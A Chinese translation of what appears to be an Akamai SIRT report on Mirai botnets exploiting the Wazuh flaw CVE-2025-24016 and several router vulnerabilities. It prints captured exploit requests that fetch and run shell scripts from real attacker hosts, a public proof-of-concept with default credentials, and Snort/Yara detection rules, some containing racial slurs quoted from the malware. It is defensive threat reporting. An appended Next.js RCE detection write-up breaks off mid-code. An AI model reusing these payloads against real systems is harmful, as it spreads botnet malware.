两大僵尸网络,一个漏洞:Mirai 利用 Wazuh 漏洞传播

两大僵尸网络,一个漏洞:Mirai 利用 Wazuh 漏洞传播

本文转自 Kyle Lefton 和 Daniel Messing 并作补充

本报告中的所有发现均来源于 SIRT 部署的蜜罐系统,我们并未在实际运行 Wazuh 软件的 Wazuh 生产端点中观察到相同事件。

内容警告:本文使用的一些命名约定来源于攻击者,包含种族辱骂用语和粗俗表达。出于教学和探索目的,我们并未删除或隐藏这类命名。这类用语绝不代表 Akamai 的价值观或观点。

内容提要

  • Akamai 安全情报响应团队 (SIRT) 发现了针对关键远程代码执行 (RCE) 漏洞 CVE-2025-24016 (CVSS 9.9) 的主动利用行为,该漏洞以 Wazuh 服务器为攻击目标。
  • 该漏洞利用去中心化 API (DAPI) 请求,允许攻击者上传未净化的字典来远程执行代码。
  • 我们观察到了 Mirai 变种利用该漏洞的两次攻击活动。其中一个变种名叫“Resbot”,它在域中采用了意大利命名法,可能暗示了目标设备的所有者是哪类人,比如是居住在意大利的人,或者是使用意大利语的人。
  • 2025 年 3 月,Akamai SIRT 团队首次在我们的全球蜜罐网络中发现此类攻击活动。这是自 2025 年 2 月该漏洞首次曝光以来,攻击者主动利用该漏洞的首次报告案例。
  • 利用该漏洞的僵尸网络同时还利用了数个已知漏洞,包括 CVE-2023-1389、CVE-2017-17215、CVE-2017-18368 和其它漏洞。
  • 为帮助抵御此威胁,我们在本博文末尾提供了相关的入侵指标 (IOC) 列表。

跳转到 IOC

前言

2025 年 3 月下旬,Akamai SIRT 团队在我们的网络蜜罐集群中观察到了主动利用 CVE-2025-24016 漏洞的攻击企图。SIRT 团队发现,共有两个不同的僵尸网络利用该漏洞,将 Mirai 恶意软件的变种传播到存在漏洞的目标系统中。

什么是 CVE-2025-24016?

2025 年 2 月,在集成 XDR 和 SIEM 功能的开源解决方案 Wazuh 的管理器程序包中,首次曝光了 CVE-2025-24016 漏洞。该漏洞会影响 Wazuh 4.4.0 到 4.9.0 的所有版本,目前 4.9.1 版本已发布,包含该漏洞的修复补丁。该漏洞允许具有 API 权限的远程攻击者使用恶意构造的 JSON 文件,在目标服务器上执行任意代码。

在 Wazuh API 中,系统首先将 DistributedAPI 中的参数序列化为 JSON 格式,然后再使用 framework/wazuh/core/cluster/common.py 文件中的 as_Wazuh_object 将这些参数反序列化。攻击者可以向 DAPI 请求中注入未净化的字典来利用该漏洞,以此解析和执行任意的 Python 代码。

2025 年 2 月下旬,一份概念验证 (PoC) 文档详细说明了如何利用该漏洞实现远程代码执行 (RCE)。攻击者先控制 auth_context 的参数,再使用 run_as 接口端点触发远程代码执行 (RCE)。在这份 PoC 文档中,作者针对 URI /security/user/authenticate/run_as,使用 Burp Suite 请求演示了攻击过程(见图 1)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Cache-Control: max-age=0
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.183 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg== # Base64-encoded "wazuh-wui:MyS3cr37P450r.*-"
Content-Type: application/json
Content-Length: 83

{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}

图 1:Burp Suite 请求(资料来源:https://github.com/MuhammadWaseem29/CVE-2025-24016)

Authorization 标头字段采用 Base64 编码格式,恶意有效负载包含了未净化的异常 *unhandled_exc*,最终触发了任意 Python 代码的执行——在本场景中,触发了 exit 操作。

主动利用

时间来到 2025 年 3 月上旬,距离 Wazuh 漏洞曝光仅仅过去几周时间,Akamai SIRT 便发现,我们的全球蜜罐网络中有攻击者正试图利用该漏洞。僵尸网络运营者利用最新发布的常见漏洞和风险 (CVE) 发动攻击,速度越来越快,使得漏洞利用时间窗口期越来越短,这便是最新的例证。

Base64 编码格式的 Authorization 标头字段解码后的认证信息显示为 *wazuh-wui:MyS3cr37P450r.*-*,与 PoC 文档中的漏洞利用认证信息完全相同(图 2)。此处的接口端点和请求结构与 PoC 文档的漏洞利用信息相吻合,当然,本案例中的攻击者仅使用该漏洞传播恶意软件。

1
2
3
/security/user/authenticate/run_as {"__unhandled_exc__":{"__args__":["wget http://176.65.134[.]62/w.sh -O /tmp/temp_script.sh || curl -o /tmp/temp_script.sh http://176.65.134[.]62/w.sh; sh /tmp/temp_script.sh"],"__class__":"os.system"}}

Header Authorization: Basic d2F6dWgtd3VpOk15UzNjcjM3UDQ1MHIuKi0=

图 2:漏洞利用企图 1 和 PoC 文档的信息完全相同

另外,2025 年 5 月上旬,我们还检测到了针对 /Wazuh 接口端点的请求,该请求的结构虽然与文档记录的信息相似,但在该漏洞针对的标准接口端点处仍有差异。(图 3)。由于该请求与 PoC 文档记录的请求几乎完全相同,只在接口端点处不同,因此这很可能是上述僵尸网络仍然在尝试利用相同的 Wazuh 漏洞发起攻击。

1
2
3
/wazuh {"__unhandled_exc__": {"__class__": "os.system", "__args__": ["wget http://104.168.101[.]27/sh -O- | sh"]}}

Header Authorization: Basic d2F6dWgtd3VpOk15UzNjcjM3UDQ1MHIuKi0=

图 3:漏洞利用企图 2 和 PoC 文档的信息仍有差异

僵尸网络 1:多种 Mirai 变体

根据我们的观察,本次主动利用 Wazuh 漏洞事件与两大僵尸网络有关。第一个僵尸网络与 2025 年 3 月上旬的第一轮攻击企图相关,在这轮攻击中,攻击者利用漏洞获取并执行一个恶意 Shell 脚本作为下载器,再将下载器作为主要的 Mirai 恶意软件有效负载(图 4)。与常见的 Mirai 相关 Shell 脚本类似,该脚本兼容各类不同的架构,主要以物联网 (IoT) 设备为攻击目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
"busybox wget http://176.65.134[.]62/bins/morte.arm; chmod 777 morte.arm; ./morte.arm morte.arm",
"busybox wget http://176.65.134[.]62/bins/morte.arm5; chmod 777 morte.arm5; ./morte.arm5 morte.arm5",
"busybox wget http://176.65.134[.]62/bins/morte.arm6; chmod 777 morte.arm6; ./morte.arm6 morte.arm6",
"busybox wget http://176.65.134[.]62/bins/morte.arm7; chmod 777 morte.arm7; ./morte.arm7 morte.arm7",
"busybox wget http://176.65.134[.]62/bins/morte.i686; chmod 777 morte.i686; ./morte.i686 morte.i686",
"busybox wget http://176.65.134[.]62/bins/morte.m68k; chmod 777 morte.m68k; ./morte.m68k morte.m68k",
"busybox wget http://176.65.134[.]62/bins/morte.mips; chmod 777 morte.mips; ./morte.mips morte.mips",
"busybox wget http://176.65.134[.]62/bins/morte.mpsl; chmod 777 morte.mpsl; ./morte.mpsl morte.mpsl",
"busybox wget http://176.65.134[.]62/bins/morte.ppc; chmod 777 morte.ppc; ./morte.ppc morte.ppc",
"busybox wget http://176.65.134[.]62/bins/morte.sh4; chmod 777 morte.sh4; ./morte.sh4 morte.sh4",
"busybox wget http://176.65.134[.]62/bins/morte.spc; chmod 777 morte.spc; ./morte.spc morte.spc",
"busybox wget http://176.65.134[.]62/bins/morte.x86; chmod 777 morte.x86; ./morte.x86 morte.x86",
"busybox wget http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x64",
"rm $0"

代码示例 4:w.sh Shell 脚本内容

这些 Mirai 恶意软件样本被命名为“morte”,似乎是 LZRD Mirai 变体,但它们并不是新面孔,而是已经存在一段时间了。这些恶意软件很容易识别,因为它们在目标设备上执行时,会在设备的控制台输出如下的硬编码特殊字符串:“lzrd here”。

观察到的相关域名

经过对 IP 地址 176.65.134[.]62 调查研究,我们发现该地址反向解析到了 nuklearcnc.duckdns[.]org 的命令和控制 (C2) 域名。请注意,我们有必要指出,Duck DNS 是一家动态 DNS 服务商,只有此处的子域名是恶意域名。

在相近的时间段内,该域名还解析到了 176.65.142.252 这个 IP 地址。该 IP 地址反向解析到了另一个 cbot.galaxias[.]cc 的 C2 域名。根据 VirusTotal 的分析,我们可以发现一个疑似针对 Windows 系统的远程访问木马 (RAT),该木马伪装成 Windows svchost 进程,定期向 cbot.galaxias[.]cc 子域名发送“心跳信号”,以达到命令与控制 (C2) 目的。

另一个子域名 neon.galaxias[.]cc 似乎存在 Mirai 常规变种的相关分发和通信行为。该子域名解析出来的 IP 地址 209.141.34[.]106,也反向解析到了另外两个 C2 域名:pangacnc[.]com 和 jimmyudp-raw[.]xyz。

根据 VirusTotal 的记录,jimmyudp-raw[.]xyz 域名共有三个不同名称的 Mirai 恶意软件样本。第一个样本名为“neon”,是一种未识别的 Mirai 变种,通过端口 80 连接到 65.222.202[.]53,实现 C2 通信,而且会在控制台输出硬编码字符串“fuck u nigga”。

第二个样本名为“k03ldc”,似乎是 V3G4 Mirai 变体的修改版或升级版。该样本会在控制台输出硬编码字符串“666V3G4-Katana999”,通过端口 36063 连接到 196.251.86[.]49,实现 C2 通信。

最后是名为“KKveTTgaAAsecNNaaaa”的第三个样本,它是 V3G4 Mirai 变体的原始版本。该版本的恶意软件通过端口 60195 连接到 209.141.34[.]106,实现 C2 通信,感染设备后会输出硬编码字符串“xXxSlicexXxxVEGA”。它会识别目标设备是否已经感染 V3G4 变体,如果确认感染,会输出“We got this shit already”,而不会输出上述的常规硬编码字符串。

根据 VirusTotal 的记录,pangacnc[.]com 域名共有两个不同名称的 Mirai 恶意软件样本,一个名为“KKveTTgaAAsecNNaaaa”,与上文提到的第三个样本完全相同。另一个名为“vision”,是一种 LZRD Mirai 变体,通过端口 80 连接到 65.222.202[.]53,类似于从其它 C2 域名获得的样本“neon”。这种相似,可能掲示出这个名为“neon”的 Mirai 恶意软件是 LZRD 变体的修改版。

其他被利用的漏洞

除了针对 Wazuh 的远程代码执行 (RCE),我们还观察到该僵尸网络正试图利用各类其它已知漏洞发起攻击。被利用的漏洞包括我们已经观察到的数个漏洞(见图 5、6、7),这些漏洞已经在往期博文中详细说明。

1
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x86_64; rm -rf morte.x64; curl -O http://176.65.134[.]62/bins/morte.x64; chmod 777 morte.x64; ./morte.x64 morte.x86_64; rm -rf morte.x64"}}, "application-

图 5:Hadoop YARN 漏洞

1
/cgi-bin/luci/;stok=/locale?form=country operation=write&country=$(id>cd /tmp cd /var/run cd /mnt cd /root cd /; wget http://176.65.134[.]62/update.sh; curl -O http://176.65.134[.]62/update.sh; chmod 777 update.sh; sh update.sh; tftp 176.65.134[.]62 -c get tupdate.sh; chmod 777 tupdate.sh; sh tupdate.sh; tftp -r tupdate2.sh -g 176.65.134[.]62; chmod 777 tupdate2.sh; sh tupdate2.sh; ftpget -v -u anonymous -p anonymous -P 21 176.65.134[.]62 update1.sh update1.sh; sh update1.sh; rm -rf update.sh tupdate

图 6:TP-Link Archer AX21 命令注入(详见 https://nvd.nist.gov/vuln/detail/cve-2023-1389)

1
/manager_dev_ping_t.gch cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209.141.34[.]106/1.sh; curl -O http://209.141.34[.]106/1.sh; chmod 777 1.sh; sh 1.sh; tftp 209.141.34[.]106 -c get 1.sh; chmod 777 1.sh; sh 1.sh; tftp -r 3.sh -g 209.141.34[.]106; chmod 777 3.sh; sh 3.sh; ftpget -v -u anonymous -p anonymous -P 21 209.141.34[.]106 2.sh 2.sh; sh 2.sh; rm -rf 1.sh 1.sh 3

图 7:中兴 ZXV10 H108L 路由器 RCE 漏洞利用(详见 https://github.com/stasinopoulos/ZTExploit/blob/master/ZTExploit_Source/ztexploit.py)

僵尸网络 2:Resbot/Resentual 僵尸网络

我们发现的第二个僵尸网络来源于 2025 年 5 月上旬,攻击者尝试利用 /Wazuh 接口端点发起的攻击。与上述第一个僵尸网络相似,攻击者同样会获取并执行一个恶意的 Shell 脚本作为 Mirai 下载器。该恶意软件命名为“resgod”,可通过其硬编码控制台字符串“Resentual got you!”进行识别。该僵尸网络与上述第一个僵尸网络还有一点相似,它的有效负载兼容各类架构,而且以物联网 (IoT) 设备为攻击目标。

我们注意到,该僵尸网络与特定语言联系紧密,这个现象很有意思。它传播恶意软件的各类域名都采用了意大利命名法。例如,类似“gestisciweb.com”的域名可以粗略翻译为“管理网页/网站”。

这些域名与经常用于网络钓鱼攻击的恶意域名非常相似,看上去比它们的 C2 域名“resbot.online”更加合法,相比起来,它们的 C2 域名明显更像恶意域名。这种命名约定表明,这类攻击活动的特定目标是意大利语使用者持有或运营的设备。

恶意软件样本中的字符串未加密,暴露出该软件具有各类额外的扫描能力和漏洞利用能力。恶意软件中的 IP 地址 104.168.101[.]27 采用硬编码格式,通过 TCP 端口 62627 与 C2 服务器通信,该端口是潜在的 C2 端口之一。另外,我们还发现该僵尸网络正试图通过 FTP 服务器的端口 21 传播恶意软件并执行 Telnet 扫描。

这些硬编码漏洞利用之间的区别,请详见图 8、9、10、11。

1
2
3
4
5
6
7
POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Content-Length: 440
Connection: keep-alive
Accept: */*
Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"

<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp- org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101[.]27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL>. <NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL> </u:Upgrade>. </s:Body></s:Envelope>

图 8:华为 HG532 路由器 RCE(详见 https://nvd.nist.gov/vuln/detail/cve-2017-17215)

1
2
3
4
5
6
7
8
9
10
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept:
User-Agent: Hello-World
Connection: keep-alive

<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding//%22%3E<s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://104.168.101[.]27/resgod.mips; chmod 777 resgod.mips; ./resgod.mips selfrep.realtek</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

图 9:Realtek SDK Miniigd UPnP SOAP RCE(详见 https://www.google.com/url?q=https://nvd.nist.gov/vuln/detail/cve-2014-8361&sa=D&source=docs&ust=1748461205172738&usg=AOvVaw2FtzN61mQxXkxEWnb9gb05)

1
2
3
4
5
6
7
8
9
10
POST /cgi-bin/ViewLog.asp HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: r00ts3c-owned-you
Content-Length: 176
Content-Type: application/x-www-form-urlencoded

remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://104.168.101[.]27/resgod.arm7;chmod+777+resgodarm7;./resgodarm7;rm+-rf+resgod.arm7%3b%23&remoteSubmit=Save

图 10:TrueOnline ZyXEL P660HN-T v1 路由器命令注入(详见 https://nvd.nist.gov/vuln/detail/cve-2017-18368)

1
&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=$(echo -e "wget http://104.168.101[.]27/sh" >> /tmp/.res) HTTP/1.0

图 11:通过 FTP 传播

结论

目前 Mirai 的传播态势仍呈相对上升趋势,因为它的传播方式依然十分直接:重新调整并复用旧源代码,以此部署或新建僵尸网络。僵尸网络运营者往往只需要利用新曝光的漏洞,便能轻松完成攻击。

尽管 CVE 计划总体而言能造福行业,但有时候也是一把双刃剑,在曝光漏洞的同时,可能也会提醒恶意攻击者原来还有这些漏洞可供利用。

研究人员创建 PoC,本意是试图向企业普及重视漏洞的重要性,却不断导致不良后果,这恰恰表明,在漏洞补丁发布后及时安装补丁是多么迫切。僵尸网络运营者会密切关注一些漏洞曝光信息,尤其是在有 PoC 代码公开的情况下,这些运营者会迅速改写这些 PoC 代码,扩大运营的僵尸网络规模。

我们近期报告的漏洞只影响已停用设备,但 CVE-2025-24016 不一样,它会影响正在运行过时版本的活跃 Wazuh 服务器。我们强烈建议各企业安装包含了漏洞修复补丁的最新版本,在本文场景下,企业需安装 Wazuh 4.9.1 或更高版本。Wazuh 已发布正确保护系统安全的文档指南,如果企业遵循该指南,这类攻击活动将不足为虑。

关注新动态

Akamai SIRT 将继续监控此类威胁,并随时为我们的客户和整个安全社区报告相关情况。如需第一时间了解 SIRT 以及 Akamai 安全情报组发布的其他重要信息,请查看我们的研究首页并关注我们的社交媒体频道。

IOC

为了帮助企业有效防御威胁,我们提供了相关的入侵指标 (IoC) 列表以及 Snort 和 Yara 规则。

针对网络 IoC 的 Snort 规则

针对 C2 IP 的 Snort 规则(僵尸网络 1)

1
2
3
4
5
6
7
8
alert ip any any -> [209.141.34.106, 176.65.142.137, 65.222.202.53, 196.251.86.49, 176.65.134.62] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 域解析检测的 Snort 规则(僵尸网络 1)

1
2
3
4
5
6
alert http any any -> [nuklearcnc.duckdns.org, jimmyudp-raw.xyz, pangacnc.com, neon.galaxias.cc, cbot.galaxias.cc] any (
msg:"Possible Botnet C2 or Malware Distribution - Suspicious Domain";
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 IP 的 Snort 规则(僵尸网络 2)

1
2
3
4
5
6
7
8
alert ip any any -> [104.168.101.27, 104.168.101.23, 79.124.40.46, 194.195.90.179] any (
msg:"Possible Botnet C2 Infrastructure Activity - Suspicious IP";
sid:2000003;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)

针对 C2 域解析检测的 Snort 规则(僵尸网络 2)

1
2
3
4
5
6
alert http any any -> [resbot.online, versioneonline.com, web-app-on.com, assicurati-con-linear.online, webdiskwebdisk.webprocediweb.com, continueoraweb.com, ora-0-web.com, adesso-online.com, multi-canale.com, eversioneweb.com, gestisciweb.com] any (
msg:"Possible Botnet C2 or Malware Distribution - Suspicious Domain";
sid:2000004; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)

针对恶意软件样本的 Yara 规则(僵尸网络 1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
rule Mirai_Malware_IOCs_1
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware"
author = "Akamai SIRT"
date = "2025-05-16"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"

strings:
$lzrd = "LZRD"
$fucku = "fuck u nigga"
$vega = "xXxSlicexXxxVEGA"
$we_got_this = "We got this shit already"
$katana = "666V3G4-Katana999"

$ip1 = "209.141.34.106"
$ip2 = "176.65.142.137"
$ip3 = "65.222.202.53"
$ip4 = "196.251.86.49"
$ip5 = “176.65.134.62”

$domain1 = "nuklearcnc.duckdns.org"
$domain2 = "jimmyudp-raw.xyz"
$domain3 = "pangacnc.com"
$domain4 = "neon.galaxias.cc"
$domain5 = "cbot.galaxias.cc"

$hash1 = "dece5eaeb26d0ca7cea015448a809ab687e96c6182e56746da9ae4a2b16edaa9"
$hash2 = "7b659210c509058bd5649881f18b21b645acb42f56384cbd6dcb8d16e5aa0549"
$hash3 = "64bd7003f58ac501c7c97f24778a0b8f412481776ab4e6d0e4eb692b08f52b0f"
$hash4 = "4c1e54067911aeb5aa8d1b747f35fdcdfdf4837cad60331e58a7bbb849ca9eed"
$hash5 = "811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5d4cc"
$hash6 = "90df78db1fb5aea6e21c3daca79cc690900ef8a779de61d5b3c0db030f4b4353"
$hash7 = "8a58fa790fc3054c5a13f1e4e1fcb0e1167dbfb5e889b7c543d3cdd9495e9ad6"
$hash8 = "c9df0a2f377ffab37ede8f2b12a776a7ae40fa8a6b4724d5c1898e8e865cfea1"
$hash9 = "6614545eec64c207a6cc981fccae8077eac33a79f286fc9a92582f78e2ae243a"

condition:
(
$lzrd or
$fucku or
$vega or
$we_got_this or
$katana or
$ip1 or
$ip2 or
$ip3 or
$ip4 or
$ip5 or
$domain1 or
$domain2 or
$domain3 or
$domain4 or
$domain5 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5 or
$hash6 or
$hash7 or
$hash8 or
$hash9
)
}

针对恶意软件样本的 Yara 规则(僵尸网络 2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
rule Mirai_Malware_IOCs_2
{
meta:
description = "Detects files containing IOCs associated with potential Mirai malware."
author = "Akamai SIRT"
date = "2025-05-16"
source = "Akamai SIRT"
malware_family = "Mirai"
version = "1.0"

strings:
$resentual = "Resentual got you"
$ip1 = "104.168.101.27"
$ip2 = "104.168.101.23"
$ip3 = "79.124.40.46"
$ip4 = "194.195.90.179"

$domain1 = "resbot.online"
$domain2 = "versioneonline.com"
$domain3 = "web-app-on.com"
$domain4 = "Assicurati-con-linear.online"
$domain5 = "webdiskwebdisk.webprocediweb.com"
$domain6 = "continueoraweb.com"
$domain7 = "ora-0-web.com"
$domain8 = "adesso-online.com"
$domain9 = "multi-canale.com"
$domain10 = "eversioneweb.com"
$domain11 = "gestisciweb.com"

$hash1 = "9d5c10c7d0d5e2ce8bb7f1d4526439ce59108b2c631dd9e78df4e096e612837b"
$hash2 = "be4070b79a2f956e686469b37a8db1e7e090b9061d3dce73e3733db2dbe004f0"
$hash3 = "e6cf946bd5a17909ae3ed9b1362cfaafa7afe02e74699dcbc3d515a6f964b0b0"
$hash4 = "4d9f632e977b16466b72b6ee90b6de768c720148c1e337709b57ca49c1cdffb6"
$hash5 = "a0b47c781e70877ad4e721ba49f64fc0bc469e38750f070a232d12f03d9990bc"
$hash6 = "941a30698db98f29919cba80e66717c25592697b1447f3e96825730229d97549"

condition:
(
$resentual or
$ip1 or
$ip2 or
$ip3 or
$ip4 or
$domain1 or
$domain2 or
$domain3 or
$domain4 or
$domain5 or
$domain6 or
$domain7 or
$domain8 or
$domain9 or
$domain10 or
$domain11 or
$hash1 or
$hash2 or
$hash3 or
$hash4 or
$hash5 or
$hash6
)
}

恶意 IPv4 地址(僵尸网络 1)

209.141.34.106

176.65.142.137

65.222.202.53

196.251.86.49

176.65.134.62

恶意域名(僵尸网络 1)

nuklearcnc.duckdns[.]org

jimmyudp-raw[.]xyz

pangacnc[.]com

neon.galaxias[.]cc

cbot.galaxias[.]cc

恶意 IPv4 地址(僵尸网络 2)

104.168.101.27

104.168.101.23

79.124.40.46

194.195.90.179

恶意域名(僵尸网络 2)

resbot[.]online

versioneonline[.]com

web-app-on[.]com

Assicurati-con-linear[.]online

webdiskwebdisk.webprocediweb[.]com

continueoraweb[.]com

ora-0-web[.]com

adesso-online[.]com

multi-canale[.]com

eversioneweb[.]com

gestisciweb[.]com

SHA256 哈希值(僵尸网络 1)

1
2
3
4
5
6
7
8
9
dece5eaeb26d0ca7cea015448a809ab687e96c6182e56746da9ae4a2b16edaa9
7b659210c509058bd5649881f18b21b645acb42f56384cbd6dcb8d16e5aa0549
64bd7003f58ac501c7c97f24778a0b8f412481776ab4e6d0e4eb692b08f52b0f
4c1e54067911aeb5aa8d1b747f35fdcdfdf4837cad60331e58a7bbb849ca9eed
811cd6ebeb9e2b7438ad9d7c382db13c1c04b7d520495261093af51797f5d4cc
90df78db1fb5aea6e21c3daca79cc690900ef8a779de61d5b3c0db030f4b4353
8a58fa790fc3054c5a13f1e4e1fcb0e1167dbfb5e889b7c543d3cdd9495e9ad6
c9df0a2f377ffab37ede8f2b12a776a7ae40fa8a6b4724d5c1898e8e865cfea1
6614545eec64c207a6cc981fccae8077eac33a79f286fc9a92582f78e2ae243a

SHA256 哈希值(僵尸网络 2)

1
2
3
4
5
6
9d5c10c7d0d5e2ce8bb7f1d4526439ce59108b2c631dd9e78df4e096e612837b
be4070b79a2f956e686469b37a8db1e7e090b9061d3dce73e3733db2dbe004f0
e6cf946bd5a17909ae3ed9b1362cfaafa7afe02e74699dcbc3d515a6f964b0b0
4d9f632e977b16466b72b6ee90b6de768c720148c1e337709b57ca49c1cdffb6
a0b47c781e70877ad4e721ba49f64fc0bc469e38750f070a232d12f03d9990bc
941a30698db98f29919cba80e66717c25592697b1447f3e96825730229d97549

查看更多 Mirai 相关信息

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

本文转自 Adam Kues 并作补充

今天早上,Next.js 发布了安全公告存在一个漏洞,即使在默认配置下也会导致远程代码执行 (RCE),且无需任何前提条件。此问题的根源在于 Next.js 使用的 React 服务器组件。

在过去的一天里,我们注意到 GitHub 上流传着大量不正确的 PoC,这些 PoC 并不能以较高的置信度真实地证实此漏洞的存在。

我们在 GitHub 上看到的一些 PoC 完全误诊了漏洞的根本原因,关键在于它无需任何前提条件(例如上下文中存在某些函数)即可在 Next.js 上利用该漏洞。

虽然我们已在下方提供了 HTTP 请求和预期响应,但如果您希望使用工具来检测主机列表中的此问题,请参阅我们 GitHub 上的漏洞代码库:https://github.com/assetnote/react2shell-scanner。

该漏洞的原始作者确认,GitHub 上的这些 PoC 与之前分享给 React 和 Next.js 维护者的漏洞利用程序并不相同。请参阅作者在 GitHub 上的留言。https://react2shell.com/。

虽然有几种机制可以确定资产是否正在运行 React Server Components (RSC),但仅仅验证 RSC 是否存在并不足以确定资产是否真的容易受到此 RCE 攻击。

因此,我们的安全研究团队进行了调查,以确定可用于安全可靠地确认 Next.js 应用程序中是否存在此 RCE 漏洞的 HTTP 请求。

注意:我们收到报告称,一些用户声称在响应摘要错误的主机上存在漏洞,但并未明确发送以下有效载荷。此有效载荷对于确认该漏洞的存在至关重要。即使以下有效载荷可能在受影响的 Next.js 版本范围之外也能检测到漏洞;但是,由于 WAF 会对完整的 RCE 有效载荷进行保护,因此仍然需要进行检查。

可以使用以下HTTP请求来确认是否存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 232

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

当使用存在漏洞的 Next.js 版本发送上述请求时,HTTP 响应将如下所示:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 500 Internal Server Error
Date: Thu, 04 Dec 2025 06:16:39 GMT
Content-Type: text/x-component
Connection: keep-alive
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Vary: rsc
Content-Length: 76

0:{"a":"$@1","f":"","b":"yd-J8UfWl70zwtaAy83s7"}
1:E{"digest":"2971658870"}

检查是否存在E{"digest"500 状态码,可以可靠地返回环境中存在漏洞的主机。

为什么这种检查有效?

之所以能够通过此检查区分易受攻击的主机和非易受攻击的主机,是因为 React-Server 依赖项使用冒号来分隔对象属性。请参见以下代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any, parentObject: Object, key: string) => T,
): T {
const path = reference.split(':');
// ... snip ...
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}

例如,如果我们像这样在多部分请求中传递 JSON:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:b"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

